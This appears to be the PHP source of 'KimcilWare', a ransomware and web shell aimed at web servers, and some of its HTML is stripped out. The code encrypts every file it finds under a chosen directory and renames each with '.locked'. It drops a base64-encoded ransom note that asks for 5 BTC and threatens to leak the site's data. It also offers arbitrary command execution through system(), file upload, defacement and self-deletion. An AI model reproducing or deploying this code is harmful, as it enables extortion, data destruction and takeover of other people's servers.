'; class KimcilWare { protected $__LOCALDIR__; protected $__KIMCILWARE__; public function __construct() { $this->__LOCALDIR__ = $_SERVER["DOCUMENT_ROOT"]; $this->__KIMCILWARE__ = basename($_SERVER['PHP_SELF']); return $this; } public function WriteInstruction($dir) { $readme = base64_decode("WyNdIENPTkdSQVRVTEFUSU9ODQpBTEwgWU9VUiBXRUJTRVJWRVIgRklMRVMgSEFTIEJFRU4gTE9DS0VEIEFORCBBTEwgREFUQUJBU0UgSEFTIEJFRU4gRFJPUEVEIQ0KDQpbI10gSE9XIFRPIFVOTE9DSyBNWSBGSUxFUyBBTkQgR0VUIEJBQ0sgTVkgREFUQUJBU0U/DQoNCllvdSBtdXN0IHNlbmQgbWUgNSBCVEMgdG8gdW5sb2NrIGFsbCB5b3VyIGZpbGVzLg0KU2VuZCB0byB0aGlzIEJUQyBBZGRyZXNzOiAxRU1acHRMNjZudlZMQ2Z5R1FOVzJiVHAxWFA2ZWM0Yld3DQpDb250YWN0IG00bjE0a0BzaWdhaW50Lm9yZyBhZnRlciB5b3Ugc2VuZCB0aGUgQlRDLiBKdXN0IGluZm9ybSBtZSB5b3VyIHdlYnNpdGUgdXJsIGFuZCB5b3VyIEJpdGNvaW4gQWRkcmVzcy4NCkkgd2lsbCBjaGVjayBteSBCaXRjb2luLCBpZiB5b3UgYXJlIHJlYWx5IHNlbmQgbWUgdGhlIEJUQyBJIHdpbGwgZ2l2ZSB5b3UgdGhlIGRlY3J5cHRpb24gcGFja2FnZSB0byB1bmxvY2sgYWxsIHlvdXIgZmlsZXMuDQpEb24ndCB0cnkgdG8gcmVwYWlyIHlvdXIgc2l0ZSBieSB5b3Vyc2VsZiBvciB3ZSB3aWxsIGxlYWsgYWxsIGRhdGEgaW4gdGhpcyBzaXRlLg0KDQpbI10gRi5BLlENCg0KUTpXaGF0IGlzIEJpdGNvaW4/DQpBOlRvIGtub3cgYWJvdXQgQml0Y29pbiB5b3UgY2FuIHJlYWQgaHR0cHM6Ly9lbi53aWtpcGVkaWEub3JnL3dpa2kvQml0Y29pbg0KUTpEbyB5b3UgYWNjZXB0IGFub3RoZXIgcGF5bWVudD8NCkE6Tm8sIEkganVzdCBhY2NlcHQgQml0Y29pbiA7KQ0KUTpJIGRvbid0IGhhdmUgQml0Y29pbiwgd2hhdCBtdXN0IEkgZG8/DQpBOklmIHlvdSBkb24ndCBoYXZlIEJpdGNvaW4geW91IGNhbiBSZWdpc3RlciBhIG5ldyBCaXRjb2luIEFkZHJlc3MgaW4gaHR0cHM6Ly9ibG9ja2NoYWluLmluZm8uDQpROkhvdyB0byBnZXQgQml0Y29pbiBiYWxhbmNlPw0KQTpGb3IgdGhlIEJpdGNvaW4gYmFsYW5jZSB5b3UgY2FuIGJ1eSBpbiBodHRwOi8vbG9jYWxjb2lucy5jb20sIGh0dHA6Ly9idGMtZS5jb20sIG9yIGFub3RoZXIgc2l0ZSBpbiB0aGUgSW50ZXJuZXQuDQoNCkJlc3QgUmVnYXJkcywNClRoMy5NNG4xYWtfYzBkM3o="); $file = fopen("".$dir."/README_FOR_UNLOCK.txt", "w"); fwrite($file, $readme); fclose($file); } private function GetFileTarget($dir) { foreach(glob($dir."/*") as $target) { $this->EncryptData($target); if(is_dir($target)) { $this->WriteInstruction($target); $this->GetFileTarget($target); } } } public function GenerateKey() { $key[1] = $_SERVER["DOCUMENT_ROOT"]; $key[2] = $_SERVER['SERVER_NAME']; $key[3] = $_SERVER["REMOTE_ADDR"]; $key[4] = $key[1]."KI".$key[2]."MC".date('Y/m/d')."IL".date('d-/Y:m').$key[3]."MEMEKB4saH".date('m-Y-Y').date('m-Y-m').date('m-d-d'); $key[5] = substr(md5(urlencode(md5(gzcompress(md5(base64_encode(md5(sha1("ENC&crYpt3d".$key[4])))))))),0,25); return $key[5]; } private function EvilEncrypt($sSecretKey, $sValue) { return rtrim(base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $sSecretKey, $sValue, MCRYPT_MODE_ECB, mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB), MCRYPT_RAND))), "\0"); } private function Base96code($sValue) { $encrypt[1] = base64_encode($sValue); $encrypt[2] = strrev($encrypt[1]); $encrypt[3] = base64_decode($encrypt[2]); return $encrypt[3]; } private function EncryptData($file) { if(file_exists($file) && file != $this->__KIMCILWARE__) { $newExstension = "locked"; $log_file = fopen("".$_SERVER["DOCUMENT_ROOT"]."/LIST_LOCKED_FILES.txt", "a"); $thisFile = "".basename($_SERVER["SCRIPT_FILENAME"], '.php').".php"; if(!stristr($file,$thisFile)) { if(stristr($file,".".$newExstension."")) { fwrite($log_file, "[1]:".$file."\n"); } elseif(stristr($file,"README_FOR_UNLOCK.txt")) { fwrite($log_file, "[2]:".$file."\n"); } elseif(stristr($file,"LIST_LOCKED_FILES.txt")) { fwrite($log_file, "[3]:".$file."\n"); } else { $tempFile = file_get_contents($file); if($tempFile) { $encrypt = fopen($file, "w"); fwrite($encrypt,$this->Base96code($this->EvilEncrypt($this->GenerateKey(), $tempFile))); fclose($encrypt); if($encrypt) { fwrite($log_file, "[0]:".$file.".".$newExstension."\n"); return rename($file,$file.".".$newExstension); } } } } fclose($log_file); } } public function ExecuteEncrypter($dir) { $encrypt = $this->GetFileTarget($dir); return $encrypt; } } $KimcilWare = new KimcilWare(); echo 'Unlocked Key: '.$KimcilWare->GenerateKey().' Kernel: '.php_uname().' Domain: http://'.$_SERVER["SERVER_NAME"].' IP Adress: '.$_SERVER["REMOTE_ADDR"].'

'; if(isset($_GET['cmd'])) { echo '
'; echo ''; echo '

'; echo '
';
	if(!empty($_POST['_cmd'])) {
		$cmd = ($_POST["do"]);
		system($cmd);
		echo "Command: ".$cmd."
"; } } elseif(isset($_GET['upl'])) { echo '
'; echo '
'; if(!empty($_POST['_upl'])) { if(@move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Upload SUKSES !!!

'; } else { echo 'Upload GAGAL !!!

'; } } } elseif(isset($_GET['index'])) { $deface= ''; ?>



"; }} } elseif(isset($_GET['delete'])) { $file = "".basename($_SERVER["SCRIPT_FILENAME"], '.php').".php"; $delete = unlink($file); echo "".$file." has been deleted"; } else { echo '
'; echo ''; echo '
'; echo '

'; if(!empty($_POST['_atck'])) { echo '
Directory '.$_POST['dir'].' has been encrypted
'; echo 'Locked Files: LIST_LOCKED_FILES.txt Readme Files: README_FOR_UNLOCK.txt
'; $directory = $_POST['dir']; $KimcilWare->WriteInstruction($directory); $KimcilWare->ExecuteEncrypter($directory); } } /* * COPYRIGHT @2016 KIMCILWARE RANSOMWARE */ ?>